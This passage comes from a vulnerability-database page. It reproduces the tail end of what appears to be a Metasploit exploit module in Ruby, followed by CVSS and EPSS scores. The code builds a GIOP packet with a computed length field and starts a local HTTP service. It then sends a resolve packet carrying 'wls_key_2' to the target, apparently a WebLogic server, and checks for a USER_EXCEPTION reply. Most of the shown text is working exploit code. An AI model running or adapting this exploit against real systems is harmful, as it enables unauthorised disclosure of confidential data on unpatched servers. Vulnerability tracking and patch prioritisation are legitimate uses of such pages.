packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)  
  
# To find the true message size:  
# 1. Subtract an extra 12 bytes for GIOP header.  
# 2. Then subtract length of the LENGTH_REPLACE_ME string.  
# 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.  
message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4  
packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))  
  
start_service  
start_http_service('ServerPort' => datastore['HTTP_SRVPORT'].to_i)  
  
print_status('7. Sending resolve packet #2 with wls_key_2')  
socket = connect  
socket.put(packet)  
step_7_response = socket.get  
disconnect  
print_good('Step 7 complete!')  
  
reply_status_code = step_7_response[16..19].unpack('N')&.dig(0)  
if reply_status_code != USER_EXCEPTION  
fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!")  
end  
end  
end  
`

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.929 High

EPSS

Percentile

98.6%